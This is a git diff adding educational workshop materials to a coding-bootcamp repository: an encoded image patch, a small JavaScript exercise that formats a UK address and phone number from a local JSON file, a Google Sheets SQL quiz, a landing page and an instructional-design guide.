z!^_&CMnc)7D7d{J$D!aao_oIWB458^qwhv5U3G>sSzi#sRb{!tNvHarFzDx36a;6M z>%`;WY`(nF<``(DF|7msn#Pdf8@_u!?_rRN<2CIKfW9N2YK32~l{*S-AM}s@-TUja zAlfLJWRY#t_eRxQt)le^zj(=sloOW>98|js-sJjgh5cNwwjv0I9<)NAi5vmltlmh+ zt3RWCZ)(wq*z~DqXJ>up^*YNUx@N)LM0PbJ2j2~|NH1n~tt5*u3{w>)ITxi?1>NCb z9&RTC{fmSNC6LdWQy=(~>RB?mZ_^!`8%(F^wZsw%GnIYe=XZt;bUlfi2|Xr)=@`X* zZkc5ox4bA8b&l|<4NMuOi*SW?9WbcAP@?D;K4U$)4coXHKyW>JF~Sv^G<|-Mf*eZU zpw`ybKFYMSEKyjGfwz_U4JljX4czHk(8N}oXT>Q5itY9g=g5e~)%#!lNcnK^`LkRy zZ}MAL!JPgSCkWaii++7|eqO1yxvQ(|SN4d$uH`e+thZ#&a!O_u*>Wx|AAOGVN}t~Ejrw)=r&k@gkRZ=^+ZppJMz&ubvTd3?%5rJU zd2#sN%(3Ox@AY(8veR9LLtHCXrock4%IMX3HAZ7Hna&nMp`_Mm9cg~KQfDZdRCCd^ zdj?ykL~j!L`>h#?vIO0*!1$vTHeYp$)%`}p&^PHkt@pNS&Ud{1DVIYEO*%rX)hm(u zb#xFjxt|L{Qw`Pf>%lB37}d(^+bv85JDLW#)a*a%U)ZhSfXM{?YVzxic)!V4nk-Y? zPn(vd`WjzzscyiKV+N6wMKrWr;qa@=+IYopXHwvDaax5aX$&s{~sP z<@{kcFP5d@7H{tKes;MY{hITki&yk(#RkL?%cu*3#IrU?CLJzl?d)6L96gso z39A8h61@L5ae@kM5{mZdj`Bm0|DIIn4cf(OfXP>n?)20CP?X8v{h?5ZpVUd_*493! z-VR-%gngCEgsT)W)HWp4tuqisl{xG2daUR2ee0Zc$fU*j!qf&}M2$Y(Xq)$Xxg73| zG=5eO*SsBQ*7fmHzZYD)bkzBN_e+@~iMeMWjhg?RP|{&1s9gD|R$6#)!qMDMC$6sa zDG3u|;Yak&Vo(X=F+Q&wqXZSYwoC+{$IU@27Wq0#y@pkH^97{70Vp-|_&5QcrCJC1 z*DQrfo-Njl{YY)~5t-0Jnx&VS#VCkMJcSJzhD(mCE!x@A-I$WfNgs|<7o?l4xMT0% z2qo&eQsZ-5k<0Ax{`RV+Go$<|`=YdJaz{d=r)>5cIVO0*T&{tgcr(v3(2F#vu z1XsSdJs63(%nMNW1 z_tq!uuFxvJYWUVhcSCfDWg5XW-BBzcRkLFuS}8hYkyWz2o@ie~+QX+&G=&NG=9#H1 z2|u}YHR#me7!~`}t7{$wn)$+LVRV1OPUBOllRlNtw#*A)XA6V@7zJYSOJ`l%T|cm7 zzc$YY)r~LOg@ylIs?v=PdlAU7UCi( zH(xKwa-JWyKrzpw-RN+&9gX`4@^U%f(l)v(ko5rXR;}!a4@p(@V*MCtnZq0ps=|*r zy%7E2m)=~gu&MHLgJHwzd;|i7_pZb7@uWhUXU~v9avM_=3$0&FHx0)S){NRIerL%e zVJ+QIAg%)SRf=uOZ?(&AH=QmI~#ps8x)ftK_8i!8#)rs-iO@qOBYaD+y8hFgS zc(ss*O{p9X{d^dm2R_^ot;2$iw(Ph-r%8RP^wNMp$%`NUP(rXmlLkZx(7ANLa%gL% zj)|7(nB8o~;B9+Oo?ok=#V(No-VOI-4)UP0#;_)>AXmao0ntw-4=okl-_!r#Fz7 zQ`RKd#AUy(Q)Zu27Dcsy;SNqE8d6{L&u!Mq7ge!3z&Z6*VvgA1Z=N z{fD~8O|fyX<~|J}canKDc4UNF@7Alu9yEW;F0dF6=FFq4x~MH&(0**U+Ksg5FI45$ z#~yX1XFhbY(*_M<5%Bs4(%!-fJoJ|OYoTwbIHjAws}K*Nu96~0(o30zcJDzm6Jv5K zAEL7S(w59$EKIUjD*XmY3Du`ER%(N3(MDsmF-}$93y)CTUVCv$DduQVvg3^|Tok$$ zZvkTznuEK{f80p-1s4&y;GK%`!k0#OAh8G0``IXw)rVKrc;MF$5hX^=F+~X8$|jtOd7n&$ z(p57;zk1FfBxc97lcRxGS4i#6eTMo>)hSN|huI)Jjp}F&!)B;E%&rh(j@z_NT!l3Mpb~+_AsW<)3S2b+3VZGS;sj{KTR4X zDQ_d00|4z(&kbT7nHjl)4oQ@Y<|m>u6uR$_Y@S=WfS6lO{J9;IWLc~-BgYSB+-AZQ zyMmd?!MuU2POofWvjqvjA zU%7-BwfwQk?+#GFHL%8U=(o_@R$Nu5SEsftuT9;EpdwxUaD8eOr>^)WS+AX(Ud~SR z!DMGBO0;0EZ1jri+e5$ZcSNKupeOAvRf4?t!|zbHozB<@ED2+W0zRciJVVNTrpLq( zVyY;WGd0PeF}XayZO@vM&ZHm=16ZK5`2!+dD_KN%hgg!RU0`}*xr~C&SYJU8Xun&%UZk}} zZ>zxX135Sl-wyE=nPUo-x=|vVZ6ZP!bcJ!{emk5}{Ynzin8es*IQV^#6`(Dj*BK;( z+^EjqrmLsEqqxf_nf1QG^i`sFGy5GK1QUS@&wodp?!x z2T2unVqKGUBYR=EO;M(DnHYqJEt)18Swm|5On`D5vPZp~#AeWLABIWOZz{x6{vf)^ zUz%6Om;NP##uVdfwO7B6fypZAr`t8J5V5D(lm_a|jCyDr1o4*)(ca9pX95Y3C;(YJELae?lqhDyKDT9RN=e6K~;$E#qk$))0*&+edTj z(KeNl!j$u-U#epVK+(^W!;36-~Gd{qQ+DV zI*g|-(z^*e>x7F}-yOOWO|FnU10p$lc&K!P(RD`=dBn%2^tfGVYKrXgHLp_SA6QvD zT%;w&V9I+{YN!7!3CBzIv*{FXz6mB9n#_etk!?T^g#}$;FE{(LDy5c;U{ORkC_Wq< zAg7r-s)iqK^c)i$%6Q{E?oZcMS#=>vKRvWj7&TRpRlJtbqDh;EAW(oRZF&-w5uXd; zlu|vq*R0i(Np3S2B=35Y0XGt*-O1#nJ#K53TS>Pp%Bf!->2S?FMAHd-5(n2?yYce0 zN6F;5>!9zM;Jy>e;;v;;`l=WYd6g(S2T6%v_Q#oj|>U8^T)Kx#VOrg$|ucg2JwK$E64W6`V706fycX^4L zOulRsl9+KWbIP)A>=vr*G#22J`tUS4TrYuoi~7Z+jp1F*zRFD*?%BUkWe?~}J81k4 za4f^FaTB~>v#L|qN&bzIiad_`gHah-+vrXvqv&i-OXA+ogWdje_{djgRis4NHHB4Eq(k9DK$_07?NVd(pKT0WCluKf z^U3M4ms)M(Z$+WOk2|;;Wl-&@=nx!}U-sy?g-MHxaBUTE^reN>=0oltd{fDx4PpVcEcVb^6~w%drKIfmn_@#Tl}NVdNw+$j^P0Q#7SG2n!gx~2Lmzd+x_X8 zX}aHBwC1=SIOhl+KTv(bo)kv3`es(pXb>v~A4 zB&wRDrGA0lBb>%#tdSreVeeM5Avil=@g-Fv;7ie{Dwc7=E)lttRic70JUXp03a{*m zhn_DREc?X7-S-o-)R$G8-+h`Gq-PUvbti9v{Gq{TJ&CCOi@X&1K@WH*=`oN2?YJKe;z_~4Q#GAW9V?xphg3EpXFT0=ya*D6u;*()?4G8YN`X+Oq(phC z@+vy(uT2$!)CkHgjK+|Wa?{Rrk>;_lQu};^Xq-ET$tiEptpy`_i}Eq`+$hdoCx{mQ zk|^ad@Q(kQp_pYgAM}aq;hRL7sWH)yoS$*K<-(RRmSf+cC}JA?#lYY1znm?xFXpad zlTbn?1jeq^q2?l=LLD_HZm??@E{l~iF)512O8^zwt{J-gmI##;M=9f)^(%Cf-g{r` zWo|VNS6XB}f-+1taH&`%(`ajR$Ca0vE0nzlpu6f-HXZ+Nd*WbHfQ4<4-2sGv{0(7Zy6dN%Liseu5cHjUlIM6@QzR?yrwjOI{jD z%}|nP>D>K1CbKOxEKX8$M#NGL|>y=@eVs6JS)OSFHB3Z>kuG3XHDtBR$X zC8cDQO2tH!s5ND)(hZnIFS7nnD;}*IeBR(tT9PrxU0)GQ|LV+$i}f?$;`bL_URR0T zV^mDWN2ai->zjdiNd=X09@Gf|8pB4i=K+k-Kk5@D42~n?$%>JG-ge4z_A_Ih1>Pma z%rj%3e(45>GN|s9rR88!dYD=8Gf5Q1(FsC zorg!`7s=Xyx;{q4B_dF|--P(y#JO-zfnCy0|NBKC&7+Qp7t)WoD1;t(Xn_Zl>sFj4 zfjEf0l6K?Twm)!*Sp!9N_C^E#L&)-{obnH`I1Huc$zMK}h|O(nFM*!b>gN-fQ^qmP z(+Fc1|16Kc;MmIBverlvT6&fRoD4$wL2H^nrk3p#*V%;)Z4GnUNmCo?N@ZNtP8>Tb z^Fz2Rd~j$@fe%B7Z#CN(x@&7TMT3?Ch1E7Iua=`ZA#Qw)-^iA7=%C*HlfrD`oabdw zCuC-wzVyi{cU?Mqpp3vnv>Q9@>!6YAw>5QaW660~=0mJq7C(5yz{DB^#TLBf)K`mg2Em?BbO)DyB5jRR>Rn=7=h_7m6>% z#Yos=%k=gNq`N#ahoLCcKqvNwZPE~wkdfM;@IHe${@_xE%xuHR1C^b`J9g#V=5H9q z0itp23ee+q1dobT?nG>a_AoP)24$o5nU8vM7@3iLxSIrArLni~Py=DB@?!WIhpD!Lu;mVObuMSVwJua2LtvQYn5nZtYv%V8o&F|eN%{i`?6{M*II z4BU8U!VsKJT~HR-NKpHC{KY`ImMxyS)u`b(1SqWeklG!a|F=lW|4&pIVNoKk*PR$8 zCtF32lvl2^+(UEBuLI)ADgE0#ZY{3COjI1K=4+B`7GqiX%IPls{*Z5DncU9ht6+rZ zqMvV-+>y$ORxc8Zjv0&xvz5qYfr)Io1jqFogwt9G_%U$m7soX{He2rd_`*`z-{akL zX$!Yzi4(dt`wUK=?@n20C*;z2(#Wpsyl)QT9w%*m45u==&?h#^E&y#do7~rdgfBlP z(pbb%_I)zkb3Yjr%lSdxfmzm~GvLEp;4jm?D2^>kP+c!e7pRD!Fv>!EY@aM`#ed;`r;sPK7;oL9_L`iOboB`PJIM zD7nH97iZ@*;n0uJ0vpY=TCI!{RevFNeKEObujI`(=yHWxqBsr7rn{i%sHiBD>%B=K zbW`vipNIQiOB*Z#@tD%s;xzyB1h4l~Bi!1_YQv=Gd6%h<=V_CkabbP}?nWAhU=kwR zuh-}M6sv8$FU8@3O;qE|Wqy!jHrpFLzCB^unwpw3198xAGL8+ECMiN`PJ&6OvUv5s zc7|iH+3Y#NX!BL>T%*$=u#1;vT@n!luifS_=yfwIzPC4-;X%1F_wxzNS5E_-X%oEhxa%;(+D z)oEOg#m=FgV7~M~VNZ|m1jQ7Xog6^%5&xtTu$%9eYp5_wF$LbvjP$Sv! zYqru(L|_JuF=Vl=7erKK5G$d{JA(jkhQ1%k&<*F|bh2K@T0}=+mh|DE%HF;cxEEp% z%+BIFNCdldyZW+MTFs+wShho+jbp zCNaehYjk^jKwlC+I;o1Cn|>^Cx`FN{Xx`VC(en#7xa7GwucReOzYEEe;_*( z8UZx3-scJ=b-EtS7MrN@?+a3Ki3#6N>DWNQ(N~7U(P?0M_|nm(^5Zd{g4iyThhO~| z7F`2lhjypiY^H#3cX3&Oy*QF0{C#8WuAvpt`qvaY*-Qv2Tv69Wk$zf9Hl*C*nt0+2 zR?=+@Y7IZFPPa=++w;v1?3)}H7nf-6{V{)#Uwl!>Pn$$F1PWvHvVb>9&4n8nkS7xT z@`b|+RNu+-kYkNjTm8W}dslJ-DHvU`+oiBTXSr?$_SBJbeWlP zVC5}%R3PyDfYoa`XuxiRyu7#=08o6y7tEb5(D{5T&}r<%cYi4>qxRskHxQ0q4Ca`7 zjg7v-D9+_jU^3^%p@B~(ID%&_k#pRl1;Pi49dmzk4oQik7(xMd%G48uo{b^yelsW_ zb71Lc1jGlcCyrt1vOgHC!frmT6MLfE4u2#RRIaU3b|0_zgMX33U;x%zY#IE1yusrn zTEuMTd5_xCLg2Bgef6= z_K+=Gwqaz+62>%W>8}(ODbEI@XJz>A6b$uTcrQ(ob&iR zJJ&hab^edP5AN%_zxVyw?)U3GyP-R~LTO!NL2B=p1fa-1(=RS9j!S>jp3Dt<^g71n zS{)U``^W!On_}J?n#9yH&R2Z1a!mCSQTgZ6Qf*nr_T*qYLSZ82*Cm6-$S&0S6vRw- zsWH;k1tT}lQ?A3wvK<`4GvTI^D>8+QdAOTxp*?&x=hGDGg)lVjb>3VUSuk{YlZ zg_%3q#_W7zjLN72HWup5;=8HzsUr|)^6*Jj4wM*1ntVNhS7}0tcB1&a^3uMR-|8?| z5K4*PM3Ex-L@;yX%|KS0;(Chg-JS>gohe7x68#l@T&s$5tCl)vlr-utqzskY81s{~ zKl;smh+$REbvKQ)+|W)?nZYHhWNk#jl;=)#b?hR#czgC){RA;F8at-Is@2s{b=y5}o=gTfaiA{k&5~f_0nYtE1iDdR(_Qd2n2WV z4BA_=EGy5{cTE)GQ0I)J`Og`S9T~Lwqd?8tz1)HJDDJ({=V-Y7eDdIe72d8oixOA} z%@?KS92Uqc4is}(z!armNA8HX$r*^u5GDP5~qG@3f4=7z`bcbTHM1ia>g{w-KfiPXt39gklqz;_{ic$d8h1(|W=CvT=JK7qioJwW=kmcL{)f@A zv85v87BiWIthPz1EfAxR69DBaC`Zfy|B0cvCNHh5D1jHi^zXOva3hw*pGzN7C?KZ{ z=2zO(8jgPgVQpY}tP*n1h@36pQH;6c8vZ$s37l4QQn8Q249-2}@A#r^#09ivliWIj z+U?yrBw^i0P!MCXN1P`y`&v%|-xfA+n^A?2yB5;K3l>jhQhx(9R7vM(Bi+|QKllp` z`*ylH=pseOQY#OQ`2mV3Z&eLg9$+p_K9y^cV>TE5rmwiDko={zHy~Moesoah&$Ntf zgU22s{!gl@#=WD+WvS~W3Q{=seJD)uFC8m=$EIw#zJXIO>c7t7(#jsE3W6KLe5cAe zf_TeQqU0^O6|sC5Ka$4+F16gOPL^(3V#PZ0N3%=3jOr;KJtm%Bw`01v*M$cG<>$Q@ zAKLaZcr{-gFi`cYuQs%WwZDL5WV7CXo5oqQ+*b&X?yDzca9*^| zqhY@pMt=oG`>AMU6_v-wyhNQ-wWtyqn-vTHqQ-Zs@hj zNFhB7Ir|sL`AdE_0+U;x-T^D??J}wUE#5>cdi@ybej` z`!hI=1krG3t)WGYz+Nb9REmEX0y?;VFZJJSAiLe{-)Sn9hk(2JsGXz!AK)Q)lVq`b zB<4>%R!4%8F41?~?dWiS0YoixT{A6k5wAHK20XTL4C^NED*6*2K1{yNtYY=Td&AhO zB`PXvVWuNa#VU0AsRcn}%x9`e_Kx2$*Btf436>wnUI4eYE&hx z_}8~8q7A=d?u-d(B44? z*eWSkK!`0X|8D;e&OONrBfO31LtPJ++eA>iDylNViEd;m&2wSIiJMl|M(`oZXbvF- zG%lD+iSHWy^@BOIkam1-FIt+L`;UGf5LVxsHO95D{8kU^0Sd!`XNA#T*44Idyu7?m znCD8Nlhe~acz`2LPEE0voUygDW9_Pr8a;rx=&EtIP3Ei-5y|` z-ys}>srx%qegl9#z1XZnPPxE|WDHsRSl@N6P`j-(nkT_Xb!uwLoBPw%9X>hHm6eqN zu!a4m@@=kZf^e^22M4CVa>qN2A%Q?g;tmvG5?X0^#Vkt3An!ZtF8V_Nl`={-lgZ?} z`MTrBo&beWJD8pW=5rF?^EePeGS#eD(49R|^B0jk$78O6N0$6vDDdkiUw_u0$jTQR zU{fpJtz@_hL?G^3IzNAjHPQT%vJ8p?rPZZfE0r}#GdZVXtG2;NK@~*7+*vmykcXum ztIPr~Z~Okh)i}M%TmiJJKM|! z&K%dy-VnSxDMS(w5Lf_WKk))JZVB|e2VL@6PffivJ#kqh4Y3W*9kG_k{X5&>4ADWQ zHB0|Nxj^P4_Y94kiYpxl9j9#G&Xa3zUir#n!7KX6#(nqx*vAIQt)jo2QGn znej`WX}$L+dObynqAYI&|CuHPs;|UJvaR3Z4~?)*S7Gr0R?I~QuTc+93C06dXV^ga zwiaGeGvZ~?3jV2yZ$T*Dt}k!on`a7q0opx9qc>ye4|T0Q+tKhFeR{$^rkn^W&|)r9 zW)8tnD9*b_JLrdKOlAT-yKpYhX~Vf~QgWfU=!P2My!PlfI$mAN&m7IWdl~$BB_B|! zJpmks1sh-_B57|zjW_p*xY%11e+Vl;W5(zD-xxoz!|;Ay92uMv#nym zz4Ad0>~Fujba@gRk&KKdDet`w@F42b#HiNQQickXBKWciAF7MPt)Ru- zl*8?xSx1;MjH6mDl!#Z{ocW2^LJU8MgL+Ac!oY~@-yi;$x1@ibcRJ;qyj;)m{8Bvq z+mf>!4qS;Sj*_FJXeFMQUos&azkJSvj$yzLy$Bz&lz40LjXsjYa(Q@rSB8Bfg!H$!BQnRy)zO#mnz~>_Y?mX8iiGttZFc0crg}Tf}Y!O(i!%!i>lEVeszv ziCcTsPOo0(PhF?Ig$U@amR^fKiJ;PtK?ER+z;NNgdsl`Es+-60v^4~fH>ioCEM+yd z8=FrY?U!Gg6v*alj9D}x;Mj%KsCVii%Lp(p*EW$l(ej^)aG9{QxU%<4-E#zxRvt?+ z>`pd%herrk%JSFo*XWsXN}6R?+da2k<_$(=N3G9vJ#wz9e;KlL&v=R*V!cbFV#d%pS)-LQuanbRsWs-Y;qpe2+Dy>y)q?Q2#Oe z85NDkrg@+4HICr>er+9=0cGRQo2dYzNT*``K4fp6I(C7B!@6Kme9e1uzFc5VALkM^ z%p5OpzpAVZ@tgE%Ch3H3+KFMdxa?dJ%@{eFLsD`LJHzs30em<`?<4i} zkv`76RQb{1Er#A$F=pje!;nSok7Lh}k&-mUR9`Vao~La4j#F&MZhu8ki6j~KMl#)ehn!7X=eM7wvct>hb51nlO}0(|yB5aLvH)p$1-g8XT^?8igFzN*KU$2n z=d96~Qw4(QFR5G;qb%gsNffSJyW9xU*)*DGa}bFRan#L{L_eXgz`3~U@poC>m&9o3 zXpa1P((1GNqU`BB9wkjTide4WWPBvtJa*98==SOFgYD)XN)S7#I+CHp?%+vC`Z&UC z06(m|arNs^43syCOJK7L5_Hm#Uv~pBH&m<_9ZF>DxGyRx=)rFr_znge73TK;s~hrA zFNJM?7N_x-Xc{q;= { + try { + const response = await fetch(api); + return response.json(); + } catch (error) { + console.error("Error:", error); + } +}; + +// Format the address in the desired UK address format +const formatAddress = (address) => address.replace(/,/g, "\n"); + +// Format the phone number in the desired UK phone number format +const formatPhoneNumber = (phoneNumber) => + phoneNumber.replace(/^\+44\s/, "(0)"); + +// Generate HTML code to display the formatted address and phone number on the page +const renderContactDetails = async (api, templateSelector) => { + const { address, phone } = await getContactDetails(api); + const template = document + .querySelector(templateSelector) + .content.cloneNode(true); + + template.querySelector("#address").textContent = formatAddress(address); + template.querySelector("#phone").textContent = formatPhoneNumber(phone); + + document.body.appendChild(template); +}; + +renderContactDetails("./data.json", "#contact-template"); diff --git a/goblin-breakdown/contact/data.json b/goblin-breakdown/contact/data.json new file mode 100644 index 00000000..b541fe9d --- /dev/null +++ b/goblin-breakdown/contact/data.json @@ -0,0 +1,5 @@ +{ + "name": "Mahan Esfahani", + "address": "789 Pine St, Sometown, Somewhere", + "phone": "+44 7700 999123" +} diff --git a/goblin-breakdown/contact/index.html b/goblin-breakdown/contact/index.html new file mode 100644 index 00000000..7bbfff6f --- /dev/null +++ b/goblin-breakdown/contact/index.html @@ -0,0 +1,17 @@ + + + + + Contact + + + + + + + diff --git a/goblin-breakdown/contact/index.js b/goblin-breakdown/contact/index.js new file mode 100644 index 00000000..2ecff329 --- /dev/null +++ b/goblin-breakdown/contact/index.js @@ -0,0 +1,9 @@ +// Retrieve the JSON object containing the UK address and phone number +const getContactDetails = async (api) => {}; + +// Format the address in the desired UK address format +const formatAddress = (address) => {}; + +// Format the phone number in the desired UK phone number format + +// Generate HTML code to display the formatted address and phone number on the page diff --git a/goblin-breakdown/contact/styles.css b/goblin-breakdown/contact/styles.css new file mode 100644 index 00000000..c3e2a132 --- /dev/null +++ b/goblin-breakdown/contact/styles.css @@ -0,0 +1,23 @@ +body { + font: 3em/1.5 Monaco, monospace; + text-align: center; + display: grid; + height: 100vh; + place-items: center; + color: white; + background: no-repeat + linear-gradient( + 30deg, + #000080 0%, + #72007f 16%, + #bc0070 33%, + #ff2447 50%, + #ff8a0c 66%, + #ffc800 83%, + #ffff00 100% + ); +} +address { + font-style: normal; + white-space: pre; +} diff --git a/goblin-breakdown/readme.md b/goblin-breakdown/readme.md new file mode 100644 index 00000000..cfba0f0f --- /dev/null +++ b/goblin-breakdown/readme.md @@ -0,0 +1,72 @@ +# Goblin Breakdown + +Use AI to break down coding problems into smaller pieces. + + If Goblin is offline, use any LLM with the pre-prompt "Break down this task into single responsibility functions". + +## Learning Objectives + +```objectives +- [ ] Use AI to break down a coding problem +- [ ] Write comments to structure small single responsibility functions +- [ ] Produce a planned solution to a coding problem +``` + +## Requirements + +We're practising breaking down our problems again. It must be Saturday! + +This time we're going to use AI to help us. [Goblin](https://goblin.tools) is a small, clever integration with ChatGPT that makes magic todo lists. We're going to use it to break down our problem and plan our solution. + +### 🧰 1. Setup + +You should already be set up but just in case, you need to open [the Goblin workshop](https://github.com/CodeYourFuture/CYF-Workshops/tree/70eb059959269ac4377fcf229f776cea0771655a/goblin-breakdown) in VS Code. Set a whole class [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). + + + +1. Fork the [CYF-Workshops repo](https://github.com/CodeYourFuture/CYF-Workshops) to your own GitHub account if you have not already. +1. Clone the repository to your machine. +1. Open in VS Code and go to the `goblin-breakdown` folder. +1. Look at the `contact` folder. It contains a file called `index.js`. This is where you will write your code. Look at `data.json` to see an example of the data returned from the API. + + + +## 👣 2. Break down coding problems + +Let's try breaking down a coding problem. Let's do a sample problem together. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=10+minute+timer). + + + +> Format a UK address and UK phone number from a JSON object and show it as HTML on the page + +1. Paste the above problem into Goblin and press the 🪄 wand button. +1. Goblin will give you some steps. In the `contact` folder, paste each of the steps into `index.js` as comments. There are some samples given but your Goblin might be a bit different. Feel free to delete the existing examples. +1. You likely have around five steps. Under each comment, write the name of the function you will write to achieve the step. Two are given as an example. Don't write the function out, just the name and leave the function empty. +1. Now you have planned your code! _If you have time_, start writing the functions. + + + + There isn't a "right answer" to this workshop. If you want to see a basic solution, look in the `contact` folder for the file `completed.js`. + +### 🧠 3. How can you use this? + +Set a whole [class timer for 10 minutes](https://www.google.com/search?q=15+minute+timer). + + + +Reflect on this process of breaking down the problem and planning your solution. Discuss with your pair or group. + +- How can you use this process in your own work? +- What are the benefits of breaking down a problem? +- What are the risks of having an AI break down a problem? How can you mitigate those risks? +- What are the benefits of planning your solution? +- Why does CYF want to make you write such small functions? +- How could doing these steps make writing your code easier? + + +## Acceptance Criteria + +- I have used AI to produce a step-by-step plan for my solution +- I have written comments to structure my code +- I have produced a planned solution to a coding problem +- I have reflected on this process and discussed it with my pair or group diff --git a/google-sheets-sql-quiz/readme.md b/google-sheets-sql-quiz/readme.md new file mode 100644 index 00000000..a2062fdb --- /dev/null +++ b/google-sheets-sql-quiz/readme.md @@ -0,0 +1,104 @@ +# Google Sheets SQL Showdown: Team Quiz + +Welcome, spreadsheet warriors! Today, we'll be putting your Google Sheets SQL knowledge to the test in a team quiz. + +## Learning Objectives + +- [ ] Work on Google Sheets queries, test your knowledge on selecting and filtering data. + +- [ ] Collaborate with your teammates, discussing approaches and problem-solving together. + +- [ ] Apply your SQL knowledge under a time limit, simulating real-world scenarios. + +## Requirements + +- **Quiz Leader:**: The quizmaster needs to prepare the questions, guide the quiz, and keep the energy high. Sample questions are provided below, but you should set your own. Anyone: trainee or volunteer can take this role. Prepare your quiz questions and answers in advance. + +- **Timekeeper:** Keep track of time for each round to ensure the quiz runs smoothly. + +- **Assemble Your Team:** Get into groups of 3-4. Teamwork makes the dream work! + +- **Paper & Pen:** Prepare to write queries and discuss strategies WITHOUT using a computer. + +- **Friendly Competition:** Complete the challenge with a positive and collaborative spirit! + +## The Challenge + +This workshop will be divided into rounds, each presenting a Google Sheets SQL query. The scenarios will target various SQL functionalities available in Google Sheets. + +You will write your answers on paper, not on a computer. Close your laptops. You may use this printed [Google Sheets SQL CheatSheet](https://support.google.com/docs/answer/3093343?hl=en) to help you. + +- **Round 1:** Getting Data: Practice using SELECT statements to find and get information from a sheet. + +- **Round 2:** Conditional Queries: Let's try something harder! Use WHERE clauses and conditional statements to filter data. + +- **Round 3:** Advanced Arena: Challenge yourselves. Try using multiple conditions or advanced ways to filter data. + +**Bonus Round (Optional):** Feeling confident? The quiz leader may do an extra round with an example spreadsheet. Really pushing your problem-solving abilities. + +## Acceptance Criteria + +- **Participation is Key:** Be active with your team! Discussing questions and contributing ideas throughout the quiz. + +- **Show SQL Skills:** Work together to plan correct Google Sheets SQL queries to solve the problems! + +- **Teamwork:** Collaborate effectively and communicate your solutions clearly within your team. + +## Let the Games Begin! + +Remember, effective communication, teamwork, and friendly competition are the keys to success! + +## SQL Showdown: Team Quiz Extravaganza - Example Questions + +### Round 1: Data Retrieval (10 minutes) + +**Scenario:** You're working with a Google Sheet containing product information. + +**Question 1: Say what you see** + +Write a query to select all product names and prices from the 'Products' sheet. + +**Question 2: WHERE are we going with this** + +How can you change the query to only show products with a price greater than $50? + +### Round 2: Conditional Queries (10 minutes) + +**Scenario:** The Google Sheet also has a 'Sales' sheet that stores information about sales. + +**Question 1: AND the plot thickens** + +Write a query to get the product name and sales amount. Filter out sales where the quantity sold is greater than 10 AND the price is less than $100. + +**Question 2: OR is it?** + +Update the query to show sales where the product category is 'Electronics' OR the cost is over than $500. + +### Round 3: Advanced Arena (10 minutes) + +**Scenario:** We have a 'Customers' sheet, containing customer names and their sale history. + +**Question 1: LIKE a pro** + +Write a query to find all customers whose names start with 'A' and have made a sale in the last 30 days. + +**Question 2: ORDER in the court** + +How can you change the query to show the top 5 customers by total sale amount, in descending order? + +### Bonus Round: Real-World Scenario + +Scenario: The marketing team wants to identify top customers for a targeted campaign. + +**Challenge:** + +> Write a query to find customers who have: +> - Made over 3 purchases +> - Have a total spend of over $1000 +> - Whose last buy was within the last 60 days. + +**Remember:** These are just examples. You can change the difficulty and questions based on the group's experience. + +## The winning team 🏆 + +Take a victory lap and eternal glory in the CodeYourFuture Hall of Fame. May the best Google Sheets SQL warriors be victorious! 🏆🔥 \ No newline at end of file diff --git a/index.html b/index.html new file mode 100644 index 00000000..5b48e4ac --- /dev/null +++ b/index.html @@ -0,0 +1,125 @@ + + + + + + CYF Workshops + + + + + +

                      + + + +

                      CYF Workshops

                      +
                      + + + + diff --git a/instructional-design/readme.md b/instructional-design/readme.md new file mode 100644 index 00000000..2515de90 --- /dev/null +++ b/instructional-design/readme.md @@ -0,0 +1,167 @@ +# 🧑‍🏫 Instructional design at CYF + +```objectives +- [ ] Explain the CYF approach to writing coursework +- [ ] Identify instructional techniques in existing materials +- [ ] Revise a coursework task to fit the CYF approach +``` + +What is a [well designed piece of coursework](https://files.eric.ed.gov/fulltext/ED498555.pdf)? How do we identify if study materials are well or poorly designed? How do we revise coursework tasks to make them more **effective**? + +There are six key instructional techniques with _reasonably_ sound evidence behind them. + +![This graphic shows the six techniques listed next](./strategies.png) + + +We're going to identify these foundational strategies in existing materials. Then we're going to identify some ways to bring them into our own material. + +1. "[Dual coding](https://www.structural-learning.com/post/dual-coding-a-teachers-guide)" or pairing graphics with words +2. [Concrete examples](https://www.learningscientists.org/concrete-examples) +3. [Elaboration](https://www.educ.cam.ac.uk/research/programmes/classroomdialogue/) or [probing questions](https://www.bell-foundation.org.uk/resources/great-ideas/questioning-strategies/) +4. Interleaving [solved problems](https://en.wikipedia.org/wiki/Worked-example_effect) +5. [Spaced repetition](https://en.wikipedia.org/wiki/Spaced_repetition) +6. Retrieval through quizzing + +In other words: + +> **Teaching isn't _telling_, it's guiding. ** + +## 🧑‍🎓 Activity + +1. Read [Annotating texts - OCR - GCSE English Language Revision - OCR - BBC Bitesize](https://www.bbc.co.uk/bitesize/guides/zcbw7hv/revision/1) +2. Annotate this text. Circle these specific strategies + - Concrete example of where this useful + - Worked example / solved example + - Dual coding + - Retrieval through quizzing + +## 🧑‍🎓 Activity + +It's common for people to begin creating course materials as a sequenced "todo" list. Do this, then that. But this doesn't guide the learner effectively towards understanding. We must move from "do this" to "Do what? Why, and _how_?" + +Here is a random piece of coursework: [https://github.com/CodeYourFuture/Course-Fundamentals/issues/23](https://github.com/CodeYourFuture/Course-Fundamentals/issues/23) + +
                      + Copied here for posterity + +### Coursework content + +Write 1 paragraph of your personal story/statement + +### Estimated time in hours + +1 + +### What is the purpose of this assignment? + +1. Write a 1 paragraph statement - between 50 and 100 words. Think about skills you have that can be used in your future job in tech, and mention them in this text. +2. Check grammar using [Grammarly](https://www.grammarly.com/). You should not have more than 3 mistakes. +3. Add your statement to the "Personal Statement" thread on the Cohort Slack channel. If the thread hasn’t been created yet, please do it. + +### How to submit + +Add the link to your post on Slack on this coursework +Add a screenshot of your post on this coursework + +### Anything else? + +[This video](https://slack.com/intl/en-gb/help/articles/202528808-Search-in-Slack) explains how to search in Slack + +
                      + +This is a formal writing task. We assign lots of these as they are essential! These **putting ideas in** tasks have the same repeated pattern: + +1. What is the FORMAT? +1. What are the GOALS? + +And leads to a subsequent metacognitive activity: **getting ideas out** + +> How do we **test** that our writing **achieves** our goals? + +Let's **revise** this. Write your revised assignment in the worksheet below. + +## 💡Key Tips + +1. 🎯Start with the motivation: why is this useful to me? +2. ✅Give an example solution: what does success look like? +3. 🍱Create an analysing, categorising, summarising, illustrating, or explaining activity +4. 📌Set the initial task (3 and 4 can be in either order) +5. 🧪Make it testable. How will the _learner_ assess their understanding? + +```mermaid +flowchart LR +A[📍 Learner] <-->|🕵🏾 connect| B[Teacher] +B -->|👣 extend| C([📍 Concept]) +``` + +--- + +## ✏️Worksheet: + 